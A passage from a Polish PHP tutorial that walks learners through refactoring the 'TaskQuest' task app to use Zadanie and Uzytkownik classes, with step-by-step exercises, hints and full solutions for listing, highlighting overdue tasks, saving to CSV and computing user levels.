// ... walidujNoweZadanie() — bez zmian ...
</code></pre>



<p class="wp-block-paragraph">Jeśli Twoje funkcje są zapisane inaczej (np. funkcją strzałkową <code class="prettyprint lang-sql" style="font-size: 0.85em;">fn</code> albo z inną nazwą zmiennej w pętli) — zostaw swój zapis i zmień tylko odwołania z tabeli. Typy parametrów (<code class="prettyprint lang-sql" style="font-size: 0.85em;">array $zadania</code>) i typy zwracane się nie zmieniają: to nadal tablice, tylko z obiektami w środku. <code class="prettyprint lang-sql" style="font-size: 0.85em;">array_filter()</code> nadal zachowuje klucze, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">usort()</code> nadal numeruje od <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>.</p>
</details>



<h2 class="wp-block-heading">Krok 4 — SAMODZIELNIE: lista zadań w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> + wyróżnienie zadań po terminie</h2>



<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></strong>, sekcja prezentacji (gałąź <code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code> sekcji „Twoje zadania”).</p>



<ol class="wp-block-list">
<li>W bloku <strong>„najpilniejsze zadanie”</strong> i w pętli <code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach ($zadaniaDoWyswietlenia as $zadanie)</code> zamień wszystkie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$najpilniejsze['...']</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie['...']</code> na metody. W pętli jest ich dziewięć, w bloku najpilniejszego zadania — dwa.</li>



<li><strong>Nowość dla użytkownika:</strong> zadanie po terminie ma dostać klasę CSS <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadanie po-terminie</code> (zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadanie</code>). Użyj <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPoTerminie()</code> — to jedyne miejsce w aplikacji, gdzie ta metoda jest dziś potrzebna.</li>



<li><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code></strong> — w <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;style&gt;</code>, pod regułą <code class="prettyprint lang-sql" style="font-size: 0.85em;">.sukces</code>, dodaj regułę:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">.zadanie.po-terminie { border: 2px solid #c0392b; }</code></pre>



<p class="wp-block-paragraph"><strong>Efekt:</strong> strona wygląda jak po Lekcji 14, ale niewykonane zadania z minionym terminem mają czerwoną ramkę. Brak błędów i ostrzeżeń.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Uważaj na wstawianie w tekst. Zapis <code class="prettyprint lang-sql" style="font-size: 0.85em;">{$zadanie['xp']}</code> wewnątrz cudzysłowu zamień na <strong>sklejanie</strong> kropką: <code class="prettyprint lang-sql" style="font-size: 0.85em;">" — " . $zadanie-&gt;pobierzXp() . " XP&lt;/p&gt;"</code>. (Wywołanie metody w klamrach wewnątrz cudzysłowu też działa, ale sklejanie jest czytelniejsze.) Dla klasy CSS: najpierw zostaw dotychczasowe przypisanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$klasa</code>, a pod nim — jeśli zadanie jest po terminie — nadpisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">$klasa</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph">Najpilniejsze zadanie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">            $najpilniejsze = $aktywneWgTerminu&#91;0];
            echo "&lt;p&gt;Najpilniejsze zadanie: &lt;strong&gt;" . wyczyscTytul($najpilniejsze-&gt;pobierzTytul()) . "&lt;/strong&gt; — "
                . komunikatTerminu($najpilniejsze-&gt;pobierzTermin()) . "&lt;/p&gt;";
</code></pre>



<p class="wp-block-paragraph">Pętla:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        foreach ($zadaniaDoWyswietlenia as $zadanie) {
            $tytulCzysty = wyczyscTytul($zadanie-&gt;pobierzTytul());
            $znacznik = $zadanie-&gt;czyWykonane() ? "&#91;X]" : "&#91; ]";
            $klasa = $zadanie-&gt;czyWykonane() ? "zadanie wykonane" : "zadanie";

            if ($zadanie-&gt;czyPoTerminie()) {
                $klasa = "zadanie po-terminie";
            }

            echo "&lt;div class=\"$klasa\"&gt;";
            echo "&lt;p&gt;&lt;strong&gt;$znacznik $tytulCzysty&lt;/strong&gt; — " . $zadanie-&gt;pobierzXp() . " XP&lt;/p&gt;";
            echo "&lt;p&gt;" . skrocOpis($zadanie-&gt;pobierzOpis(), 50) . "&lt;/p&gt;";
            echo "&lt;p&gt;Termin: " . $zadanie-&gt;pobierzTermin();

            if (!$zadanie-&gt;czyWykonane()) {
                echo " — " . komunikatTerminu($zadanie-&gt;pobierzTermin());
            }

            echo "&lt;/p&gt;";

            if (stripos($tytulCzysty, 'PHP') !== false) {
                echo "&lt;p&gt;To zadanie dotyczy PHP.&lt;/p&gt;";
            }

            echo "&lt;/div&gt;";
        }
</code></pre>



<p class="wp-block-paragraph">Dlaczego nadpisujemy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$klasa</code> tylko jednym <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code>? <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPoTerminie()</code> samo zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> dla wykonanych zadań — tę regułę zapisaliśmy <strong>raz</strong>, w klasie. Strona nie musi jej znać.</p>
</details>



<h2 class="wp-block-heading">Krok 5 — SAMODZIELNIE: zapis zadań</h2>



<p class="wp-block-paragraph">Zostały dwa miejsca, w których zadania wracają do pliku lub powstają z formularza.</p>



<p class="wp-block-paragraph"><strong>a) Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code>, funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code>.</strong> Tam, gdzie dla każdego zadania budowana jest tablica przekazywana do <code class="prettyprint lang-sql" style="font-size: 0.85em;">fputcsv()</code>, zamień <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie['...']</code> na metody. <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> nadal zapisujemy jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>. Kolejność pól <strong>musi</strong> zostać taka sama jak w nagłówku: <code class="prettyprint lang-sql" style="font-size: 0.85em;">id;tytul;opis;termin;wykonane;xp</code>.</p>



<p class="wp-block-paragraph"><strong>b) Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>.</strong> Nowe zadanie dopisywane do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code> ma być obiektem <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> (argumenty nazwane, <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int) $xpZadania</code>).</p>



<p class="wp-block-paragraph"><strong>Sprawdź:</strong> dodaj przez formularz zadanie „Test OOP”, termin za tydzień, 25 XP. Pojawia się komunikat „Zadanie zostało dodane.”, zadanie jest na liście, a ostatnia linia <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> ma <strong>taki sam format</strong> jak linie zadań dodanych w Lekcji 13–14 (<code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>, bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>).</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph">a) Fragment <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> (wiersz dla jednego zadania):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        fputcsv($plik, &#91;
            $zadanie-&gt;pobierzId(),
            $zadanie-&gt;pobierzTytul(),
            $zadanie-&gt;pobierzOpis(),
            $zadanie-&gt;pobierzTermin(),
            $zadanie-&gt;czyWykonane() ? 1 : 0,
            $zadanie-&gt;pobierzXp()
        ], ';', '"', '');
</code></pre>



<p class="wp-block-paragraph">(U Ciebie zmienna pliku może się nazywać inaczej — zostaw swoją. Końcówka <code class="prettyprint lang-sql" style="font-size: 0.85em;">';', '"', ''</code> bez zmian, jak od Lekcji 11.)</p>



<p class="wp-block-paragraph">b) W <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>, w bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">            $zadania = wczytajZadania(PLIK_ZADAN);

            $zadania&#91;] = new Zadanie(
                id: nastepneIdZadania($zadania),
                tytul: $tytulZadania,
                opis: $opisZadania,
                termin: $terminZadania,
                wykonane: false,
                xp: (int) $xpZadania
            );

            zapiszZadania(PLIK_ZADAN, $zadania);
</code></pre>



<p class="wp-block-paragraph">Walidacja formularza, komunikat i przekierowanie — bez zmian.</p>



<p class="wp-block-paragraph"><strong>Punkt kontrolny.</strong> Strona główna wygląda tak jak po Lekcji 14 (plus czerwone ramki). Liczniki, XP do zdobycia, najpilniejsze zadanie, trzy widoki listy i dodawanie zadania działają. W całym projekcie nie ma już ani jednego <code class="prettyprint lang-sql" style="font-size: 0.85em;">['tytul']</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">['wykonane']</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">['xp']</code>&#8230; na zadaniu — możesz to sprawdzić wyszukiwaniem w edytorze (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Ctrl+Shift+F</code>, szukaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">['wykonane']</code>). Jedyne miejsca z tymi nazwami to: nagłówek CSV w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> i konstruktor klasy.</p>
</details>



<h1 class="wp-block-heading">6. Kolejne zadanie — klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code></h1>



<p class="wp-block-paragraph">Zadanie jest już obiektem. Teraz to samo z użytkownikiem — tym razem <strong>z mniejszą pomocą</strong>.</p>



<p class="wp-block-paragraph">Przypomnij sobie problem z sekcji 2: dane gracza leżą w trzech miejscach, a żeby policzyć jego poziom, trzeba za każdym razem podać funkcji jego własne XP. Obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> ma <strong>sam</strong> trzymać swoje dane i <strong>sam</strong> odpowiadać na pytania o siebie.</p>



<h2 class="wp-block-heading">6a. SAMODZIELNIE — <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code></h2>



<p class="wp-block-paragraph"><strong>Nowy plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code>.</strong></p>



<p class="wp-block-paragraph"><strong>Właściwości</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code>) — nazwy <strong>takie same jak dotychczasowe zmienne w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></strong>:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Właściwość</th><th>Typ</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$login</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$imieUzytkownika</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$dataOstatniejAktywnosci</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Konstruktor</strong> — pięć parametrów w tej kolejności.</p>



<p class="wp-block-paragraph"><strong>Metody</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code>):</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Metoda</th><th>Zwraca</th><th>Co robi</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzLogin()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td><td>login</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzImie()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td><td>imię</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzXp()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td><td>łączne XP</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzStreak()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td><td>streak</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzPoziom()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td><td>poziom — tak jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczPoziom()</code> dla XP tego użytkownika</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTytulGracza()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td><td>tytuł gracza — tak jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTytul()</code> dla jego poziomu</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzXpWAktualnymPoziomie()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td><td>tak jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczXpWAktualnymPoziomie()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzProcentPostepu()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">float</code></td><td>tak jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczProcentPostepu()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzBrakujaceXp()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td><td>tak jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">ileBrakujeXp()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp(int $xp)</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">void</code></td><td>dodaje XP; gdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code> ≤ 0 — rzuca <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code> z komunikatem <code class="prettyprint lang-sql" style="font-size: 0.85em;">Liczba XP do dodania musi być większa od zera.</code> (XP się wtedy nie zmienia)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak(bool $zadanieWykonane)</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">void</code></td><td>zmienia streak użytkownika według zasad z funkcji <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Zasady:</p>



<ul class="wp-block-list">
<li><strong>Nie przepisuj logiki funkcji z <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_grywalizacji.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_terminow.php</code> — wywołaj je w metodach.</strong> Reguły poziomów, tytułów i streaka mają zostać w aplikacji w jednym miejscu. (Tak samo w Lekcji 14 <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code> wywoływała <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code>, zamiast kopiować regex.)</li>



<li>Wewnątrz metody użytkownik nie potrzebuje, żeby ktoś podawał mu XP czy poziom — ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;xp</code>, a poziom może policzyć własną metodą: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;pobierzPoziom()</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">$dataOstatniejAktywnosci</code> nie ma gettera — strona jej nie wyświetla. Obiekt potrzebuje jej tylko do liczenia streaka.</li>



<li>Na górze pliku, pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php</code>, dopisz komentarz, z jakich plików korzystają metody — strona, która tworzy obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code>, musi je dołączyć.</li>
</ul>



<p class="wp-block-paragraph"><strong>Sprawdź</strong> (brudnopis — zastąp zawartość):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Uzytkownik.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';

$uzytkownik = new Uzytkownik(
    login: 'Kama_2026',
    imieUzytkownika: 'Kama',
    xp: 99,
    streak: 5,
    dataOstatniejAktywnosci: '2026-09-14'
);

echo "&lt;p&gt;" . $uzytkownik-&gt;pobierzImie() . " (" . $uzytkownik-&gt;pobierzLogin() . ")&lt;/p&gt;";
echo "&lt;p&gt;Poziom " . $uzytkownik-&gt;pobierzPoziom() . ", " . $uzytkownik-&gt;pobierzTytulGracza() . "&lt;/p&gt;";
echo "&lt;p&gt;Brakuje: " . $uzytkownik-&gt;pobierzBrakujaceXp() . " XP&lt;/p&gt;";

$uzytkownik-&gt;dodajXp(30);
echo "&lt;p&gt;Po dodaniu: " . $uzytkownik-&gt;pobierzXp() . " XP, poziom " . $uzytkownik-&gt;pobierzPoziom() . "&lt;/p&gt;";</code></pre>



<p class="wp-block-paragraph">Oczekiwane: poziom, tytuł i brakujące XP <strong>takie same, jakie strona główna TaskQuest pokazywała dla 99 XP</strong>; po dodaniu 129 XP i poziom taki, jaki dałaby <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczPoziom(129)</code>. Pełne testy — w sekcji 7.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Gettery i konstruktor piszesz tak jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>. Metody liczące mają po jednej linii: <code class="prettyprint lang-sql" style="font-size: 0.85em;">return funkcja(...);</code> — tylko zamiast zmiennych z <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> podajesz <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;xp</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;pobierzPoziom()</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> <strong>zmienia</strong> obiekt: wynik funkcji <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> trzeba zapisać z powrotem do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;streak</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code> zbudujesz według <code class="prettyprint lang-sql" style="font-size: 0.85em;">zwiekszNagrode()</code> z odznaki.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    public function pobierzPoziom(): int
    {
        return obliczPoziom($this-&gt;xp);
    }

    public function pobierzTytulGracza(): string
    {
        return pobierzTytul(/* ... poziom tego użytkownika ... */);
    }

    public function aktualizujStreak(bool $zadanieWykonane): void
    {
        $this-&gt;streak = aktualizujStreak(/* ... trzy argumenty ... */);
    }</code></pre>



<p class="wp-block-paragraph">W ostatniej metodzie <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak</code> występuje dwa razy: raz jako nazwa <strong>metody</strong> (wywoływanej na obiekcie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;aktualizujStreak(...)</code>), raz jako nazwa <strong>funkcji</strong> (wywoływanej bez obiektu). To nie jest metoda, która wywołuje samą siebie — to metoda, która prosi o pomoc funkcję o tej samej nazwie.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code></strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// Metody korzystają z funkcji z includes/funkcje_grywalizacji.php i includes/funkcje_terminow.php
// (oraz stałej XP_NA_POZIOM) — strona, która tworzy obiekt Uzytkownik, musi je dołączyć.

class Uzytkownik
{
    private string $login;
    private string $imieUzytkownika;
    private int $xp;
    private int $streak;
    private string $dataOstatniejAktywnosci;

    public function __construct(
        string $login,
        string $imieUzytkownika,
        int $xp,
        int $streak,
        string $dataOstatniejAktywnosci
    ) {
        $this-&gt;login = $login;
        $this-&gt;imieUzytkownika = $imieUzytkownika;
        $this-&gt;xp = $xp;
        $this-&gt;streak = $streak;
        $this-&gt;dataOstatniejAktywnosci = $dataOstatniejAktywnosci;
    }

    public function pobierzLogin(): string
    {
        return $this-&gt;login;
    }

    public function pobierzImie(): string
    {
        return $this-&gt;imieUzytkownika;
    }

    public function pobierzXp(): int
    {
        return $this-&gt;xp;
    }

    public function pobierzStreak(): int
    {
        return $this-&gt;streak;
    }

    public function pobierzPoziom(): int
    {
        return obliczPoziom($this-&gt;xp);
    }

    public function pobierzTytulGracza(): string
    {
        return pobierzTytul($this-&gt;pobierzPoziom());
    }

    public function pobierzXpWAktualnymPoziomie(): int
    {
        return obliczXpWAktualnymPoziomie($this-&gt;xp, $this-&gt;pobierzPoziom());
    }

    public function pobierzProcentPostepu(): float
    {
        return obliczProcentPostepu($this-&gt;pobierzXpWAktualnymPoziomie());
    }

    public function pobierzBrakujaceXp(): int
    {
        return ileBrakujeXp($this-&gt;xp, $this-&gt;pobierzPoziom());
    }

    public function dodajXp(int $xp): void
    {
        if ($xp &lt;= 0) {
            throw new Exception('Liczba XP do dodania musi być większa od zera.');
        }

        $this-&gt;xp += $xp;
    }

    public function aktualizujStreak(bool $zadanieWykonane): void
    {
        $this-&gt;streak = aktualizujStreak($this-&gt;streak, $this-&gt;dataOstatniejAktywnosci, $zadanieWykonane);
    }
}
</code></pre>



<p class="wp-block-paragraph">Zwróć uwagę na <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code> to parametr (ile dodać), <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;xp</code> — łączne XP użytkownika. Dokładnie ta sama sytuacja co <code class="prettyprint lang-sql" style="font-size: 0.85em;">$nazwa</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;nazwa</code> w konstruktorze odznaki.</p>



<p class="wp-block-paragraph">Dlaczego jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code>, a nie ma „ustaw XP”? W grze XP się <strong>zdobywa</strong>. Metoda, która pozwala tylko dodawać, sprawia, że żaden kod nie odbierze użytkownikowi punktów przez pomyłkę.</p>
</details>



<h2 class="wp-block-heading">6b. SAMODZIELNIE — <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> korzysta z obiektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code></h2>



<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</strong></p>



<ol class="wp-block-list">
<li>W bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- pliki aplikacji ---</code>, pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>, dołącz <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code>.</li>



<li>Blok <code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- dane użytkownika (z sesji ...) ---</code> (dwie zmienne) i blok <code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- dane grywalizacji (symulowane) ---</code> (trzy zmienne) zastąp <strong>jednym</strong> blokiem, który tworzy obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik</code>. Postaw go w miejscu dotychczasowych danych użytkownika — przed danymi zadań. Wartości: login i imię z sesji, XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">99</code>, streak <code class="prettyprint lang-sql" style="font-size: 0.85em;">5</code>, data <code class="prettyprint lang-sql" style="font-size: 0.85em;">'2026-09-14'</code> (te same symulowane wartości co dotąd). Użyj argumentów nazwanych.</li>



<li>W bloku „wywołania funkcji: grywalizacja” pięć wywołań funkcji zastąp metodami obiektu (zmienne <code class="prettyprint lang-sql" style="font-size: 0.85em;">$poziom</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytul</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xpWAktualnymPoziomie</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$procentPostepu</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$brakujeXp</code> zostają — zmienia się tylko prawa strona). Zmień też komentarz bloku na <code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- wywołania metod: grywalizacja ---</code>.</li>



<li>Linię <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak = aktualizujStreak(...)</code> zastąp wywołaniem metody.</li>



<li>W prezentacji login, imię, łączne XP i streak czytaj z obiektu.</li>
</ol>



<p class="wp-block-paragraph"><strong>Efekt:</strong> strona wygląda <strong>identycznie</strong> jak przed tym krokiem. Brak ostrzeżeń <code class="prettyprint lang-sql" style="font-size: 0.85em;">Undefined variable</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Po zmianie w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> nie ma już zmiennych <code class="prettyprint lang-sql" style="font-size: 0.85em;">$imieUzytkownika</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$login</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$dataOstatniejAktywnosci</code> — przeniosły się do obiektu jako właściwości o <strong>tych samych nazwach</strong>. Jeśli PHP zgłasza <code class="prettyprint lang-sql" style="font-size: 0.85em;">Undefined variable $xp</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak</code>, to znaczy, że gdzieś w prezentacji zostało stare odwołanie. Pasek postępu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$liczbaAktywnychSegmentow</code>) i próg (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$progNastepnegoPoziomu</code>) liczą się dalej z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$procentPostepu</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$poziom</code> — nic w nich nie zmieniasz.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph">Pliki aplikacji:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Zadanie.php';
require_once __DIR__ . '/classes/Uzytkownik.php';
// ... pliki z includes/ bez zmian ...
</code></pre>



<p class="wp-block-paragraph">Dane użytkownika (zamiast dwóch dotychczasowych bloków):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- użytkownik: dane z sesji + symulowane dane grywalizacji ---
$uzytkownik = new Uzytkownik(
    login: $_SESSION&#91;'login'],
    imieUzytkownika: $_SESSION&#91;'imie'],
